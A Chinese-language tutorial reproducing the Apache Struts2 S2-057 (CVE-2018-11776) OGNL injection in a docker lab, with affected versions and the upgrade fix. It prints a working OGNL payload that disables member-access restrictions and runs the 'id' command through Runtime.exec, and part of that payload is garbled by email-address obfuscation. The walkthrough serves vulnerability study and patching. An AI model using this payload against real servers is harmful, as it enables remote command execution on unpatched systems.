Struts2 S2-057 遠程命令執行漏洞(CVE-2018-11776)

Struts2 S2-057 遠程命令執行漏洞(CVE-2018-11776)

Struts2 是一直受到java程序猿的親賴,以此框架開發的業務系統被應用於金融、政府、醫療、交通等等各種行業,但正是因為這個原因,每次被爆Struts2漏洞,都會引起強烈反響,N多人開始恐慌,為了大家能夠簡單直觀瞭解這個漏洞,我們以最近爆出Struts-057漏洞為例來給大家普及一下

Struts 2簡介

Apache Struts 2最初被稱為WebWork 2,它是一個簡潔的、可擴展的框架,可用於創建企業級Java web應用程序。設計這個框架是為了從構建、部署、到應用程序維護方面來簡化整個開發週期。

Struts2-057

當Struts2的配置滿足以下條件時:

  • alwaysSelectFullNamespace值為true
  • action元素未設置namespace屬性,或使用了通配符

namespace將由用戶從uri傳入,並作為OGNL表達式計算,最終造成任意命令執行漏洞。

影響版本:

小於等於 Struts 2.3.34 與 Struts 2.5.16

漏洞詳情:

  • https://cwiki.apache.org/confluence/display/WW/S2-057
  • https://lgtm.com/blog/apache_struts_CVE-2018-11776
  • https://xz.aliyun.com/t/2618
  • https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg


漏洞環境

啟動滿足條件的 Struts 2.3.34 環境:

docker-compose up -d

環境啟動後,訪問http://your-ip:8080/showcase/,將可以看到Struts2的測試頁面。


漏洞復現

測試OGNL表達式${233*233}:

http://your-ip:8080/struts2-showcase/${233*233}/actionChain1.action
Struts2 S2-057 遠程命令執行漏洞(CVE-2018-11776)

可見233*233的結果已返回在Location頭中。

使用S2-057原理分析與復現過程(POC)中給出的執行任意命令的OGNL表達式:

${
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

可見,id命令已成功執行(活動root用戶的相關信息):

Struts2 S2-057 遠程命令執行漏洞(CVE-2018-11776)

漏洞修復

升級到Struts 2.3.35或Struts 2.5.17

文章參考:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057


分享到:


相關文章: